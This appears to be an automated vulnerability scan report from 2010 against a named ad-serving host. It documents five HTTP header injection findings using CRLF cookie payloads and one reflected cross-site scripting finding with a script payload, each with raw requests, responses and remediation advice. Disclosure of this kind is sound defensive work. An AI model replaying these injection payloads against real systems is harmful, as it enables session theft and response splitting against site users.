Report generated by XSS.CX at Sat Nov 20 08:16:35 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. HTTP header injection

1.1. http://adc2.adcentriconline.com/adcentric/click/1728/2/50458 [ADCUserID cookie]

1.2. http://adc2.adcentriconline.com/adcentric/data/1728/1/50458 [ADCUserID cookie]

1.3. http://adc2.adcentriconline.com/adcentric/event/1728/3/50458 [ADCUserID cookie]

1.4. http://adc2.adcentriconline.com/adcentric/form/1728/2/50458 [ADCUserID cookie]

1.5. http://adc2.adcentriconline.com/adcentric/tag/1728/1/50458 [ADCUserID cookie]

2. Cross-site scripting (reflected)

1. HTTP header injection next
There are 5 instances of this issue:

/adcentric/click/1728/2/50458 [ADCUserID cookie]
/adcentric/data/1728/1/50458 [ADCUserID cookie]
/adcentric/event/1728/3/50458 [ADCUserID cookie]
/adcentric/form/1728/2/50458 [ADCUserID cookie]
/adcentric/tag/1728/1/50458 [ADCUserID cookie]

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

1.1. http://adc2.adcentriconline.com/adcentric/click/1728/2/50458 [ADCUserID cookie] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://adc2.adcentriconline.com
Path:	/adcentric/click/1728/2/50458

Issue detail

The value of the ADCUserID cookie is copied into the Set-cookie response header. The payload c222f%0d%0a5c335e93809 was submitted in the ADCUserID cookie. This caused a response containing an injected HTTP header.

Request

GET /adcentric/click/1728/2/50458 HTTP/1.1
Host: adc2.adcentriconline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ADCUserID=c222f%0d%0a5c335e93809; 1728-1-50458=12300;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 08:11:26 GMT
Server: Apache
X-RealServer: h010
P3P: CP="NOI OTC OTP OUR NOR"
Cache-Control: no-cache, no-store, must-revalidate, proxy-revalidate
Pragma: no-cache
Expires: Thu, 23 Sep 2004 17:42:04 GMT
Set-cookie: ADCUserID=c222f
5c335e93809; expires=Monday, 28-Sep-2020 04:11:26 GMT; path=/; domain=.adcentriconline.com;
Set-cookie: 1728-2-50458=0; expires=Saturday, 20-Nov-2010 02:11:26 GMT; path=/; domain=.adcentriconline.com;
Refresh: 0; URL=http://best.bell.ca/en/best-devices/#htc-desire-z
Connection: close
Content-Type: text/html
Content-Length: 165

<html><head><meta http-equiv="Refresh" content="0; URL=http://best.bell.ca/en/best-devices/#htc-desire-z"><title> </title></head><body bgcolor="white"></body></html>

1.2. http://adc2.adcentriconline.com/adcentric/data/1728/1/50458 [ADCUserID cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://adc2.adcentriconline.com
Path:	/adcentric/data/1728/1/50458

Issue detail

The value of the ADCUserID cookie is copied into the Set-cookie response header. The payload dddf0%0d%0ae1f4a682539 was submitted in the ADCUserID cookie. This caused a response containing an injected HTTP header.

Request

GET /adcentric/data/1728/1/50458;image\ HTTP/1.1
Host: adc2.adcentriconline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ADCUserID=dddf0%0d%0ae1f4a682539; 1728-1-50458=12300;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 08:11:35 GMT
Server: Apache
X-RealServer: h001
P3P: CP="NOI OTC OTP OUR NOR"
Cache-Control: no-cache, no-store, must-revalidate, proxy-revalidate
Pragma: no-cache
Expires: Thu, 23 Sep 2004 17:42:04 GMT
Set-cookie: ADCUserID=dddf0
e1f4a682539; expires=Monday, 28-Sep-2020 04:11:39 GMT; path=/; domain=.adcentriconline.com;
Refresh: 0; URL=http://adc2.adcentriconline.com/badclick.html
Connection: close
Content-Type: text/html
Content-Length: 161

<html><head><meta http-equiv="Refresh" content="0; URL=http://adc2.adcentriconline.com/badclick.html"><title> </title></head><body bgcolor="white"></body></html>

1.3. http://adc2.adcentriconline.com/adcentric/event/1728/3/50458 [ADCUserID cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://adc2.adcentriconline.com
Path:	/adcentric/event/1728/3/50458

Issue detail

The value of the ADCUserID cookie is copied into the Set-cookie response header. The payload 94add%0d%0a21c43d4d130 was submitted in the ADCUserID cookie. This caused a response containing an injected HTTP header.

Request

GET /adcentric/event/1728/3/50458 HTTP/1.1
Host: adc2.adcentriconline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ADCUserID=94add%0d%0a21c43d4d130; 1728-1-50458=12300;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 08:11:34 GMT
Server: Apache
X-RealServer: h002
P3P: CP="NOI OTC OTP OUR NOR"
Cache-Control: no-cache, no-store, must-revalidate, proxy-revalidate
Pragma: no-cache
Expires: Thu, 23 Sep 2004 17:42:04 GMT
Set-cookie: ADCUserID=94add
21c43d4d130; expires=Monday, 28-Sep-2020 04:11:34 GMT; path=/; domain=.adcentriconline.com;
Refresh: 0; URL=http://adc2.adcentriconline.com/badclick.html
Connection: close
Content-Type: text/html
Content-Length: 161

<html><head><meta http-equiv="Refresh" content="0; URL=http://adc2.adcentriconline.com/badclick.html"><title> </title></head><body bgcolor="white"></body></html>

1.4. http://adc2.adcentriconline.com/adcentric/form/1728/2/50458 [ADCUserID cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://adc2.adcentriconline.com
Path:	/adcentric/form/1728/2/50458

Issue detail

The value of the ADCUserID cookie is copied into the Set-cookie response header. The payload d9cae%0d%0ab69c9c46b1 was submitted in the ADCUserID cookie. This caused a response containing an injected HTTP header.

Request

GET /adcentric/form/1728/2/50458 HTTP/1.1
Host: adc2.adcentriconline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ADCUserID=d9cae%0d%0ab69c9c46b1; 1728-1-50458=12300;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 08:11:31 GMT
Server: Apache
X-RealServer: h009
P3P: CP="NOI OTC OTP OUR NOR"
Cache-Control: no-cache, no-store, must-revalidate, proxy-revalidate
Pragma: no-cache
Expires: Thu, 23 Sep 2004 17:42:04 GMT
Set-cookie: ADCUserID=d9cae
b69c9c46b1; expires=Monday, 28-Sep-2020 04:11:31 GMT; path=/; domain=.adcentriconline.com;
Location: http://best.bell.ca/en/best-devices/#htc-desire-z
Refresh: 0; URL=http://best.bell.ca/en/best-devices/#htc-desire-z
Connection: close
Content-Type: text/html
Content-Length: 165

<html><head><meta http-equiv="Refresh" content="0; URL=http://best.bell.ca/en/best-devices/#htc-desire-z"><title> </title></head><body bgcolor="white"></body></html>

1.5. http://adc2.adcentriconline.com/adcentric/tag/1728/1/50458 [ADCUserID cookie] previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://adc2.adcentriconline.com
Path:	/adcentric/tag/1728/1/50458

Issue detail

The value of the ADCUserID cookie is copied into the Set-cookie response header. The payload 82e3e%0d%0aaee656c8f57 was submitted in the ADCUserID cookie. This caused a response containing an injected HTTP header.

Request

GET /adcentric/tag/1728/1/50458 HTTP/1.1
Host: adc2.adcentriconline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ADCUserID=82e3e%0d%0aaee656c8f57; 1728-1-50458=12300;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 08:11:21 GMT
Server: Apache
X-RealServer: h010
P3P: CP="NOI OTC OTP OUR NOR"
Cache-Control: no-cache, no-store, must-revalidate, proxy-revalidate
Pragma: no-cache
Expires: Thu, 23 Sep 2004 17:42:04 GMT
Set-cookie: ADCUserID=82e3e
aee656c8f57; expires=Monday, 28-Sep-2020 04:11:21 GMT; path=/; domain=.adcentriconline.com;
Set-cookie: 1728-1-50458=12300; path=/; domain=.adcentriconline.com;
Last-Modified: Sat, 20 Nov 2010 08:11:21 GMT
Connection: close
Content-Type: text/javascript
Content-Length: 13979

// adc2 headers
var adc_creative_12300_clicks = [];
var adc_creative_12300_events = [];
adc_creative_12300_clicks['CLICK'] = 'http://adc2.adcentriconline.com/adcentric/form/1728/2/50458;id=24431';
adc
...[SNIP]...

2. Cross-site scripting (reflected) previous

Summary

Severity:	High
Confidence:	Certain
Host:	http://adc2.adcentriconline.com
Path:	/adcentric/form/1728/2/50458

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload edee1"><script>alert(1)</script>8e08934f7a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /adcentric/form/1728/2/50458?edee1"><script>alert(1)</script>8e08934f7a4=1 HTTP/1.1
Host: adc2.adcentriconline.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ADCUserID=NkDrm5M4SVIi4zZ; 1728-1-50458=12300;

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 08:05:56 GMT
Server: Apache
X-RealServer: h009
P3P: CP="NOI OTC OTP OUR NOR"
Cache-Control: no-cache, no-store, must-revalidate, proxy-revalidate
Pragma: no-cache
Expires: Thu, 23 Sep 2004 17:42:04 GMT
Set-cookie: ADCUserID=NkDrm5M4SVIi4zZ; expires=Monday, 28-Sep-2020 04:05:56 GMT; path=/; domain=.adcentriconline.com;
Location: http://best.bell.ca/en/best-devices/#htc-desire-z?edee1"><script>alert(1)</script>8e08934f7a4=1
Refresh: 0; URL=http://best.bell.ca/en/best-devices/#htc-desire-z?edee1"><script>alert(1)</script>8e08934f7a4=1
Connection: close
Content-Type: text/html
Content-Length: 211

<html><head><meta http-equiv="Refresh" content="0; URL=http://best.bell.ca/en/best-devices/#htc-desire-z?edee1"><script>alert(1)</script>8e08934f7a4=1"><title> </title></head><body bgcolor="white"></b
...[SNIP]...

Report generated by XSS.CX at Sat Nov 20 08:16:35 CST 2010.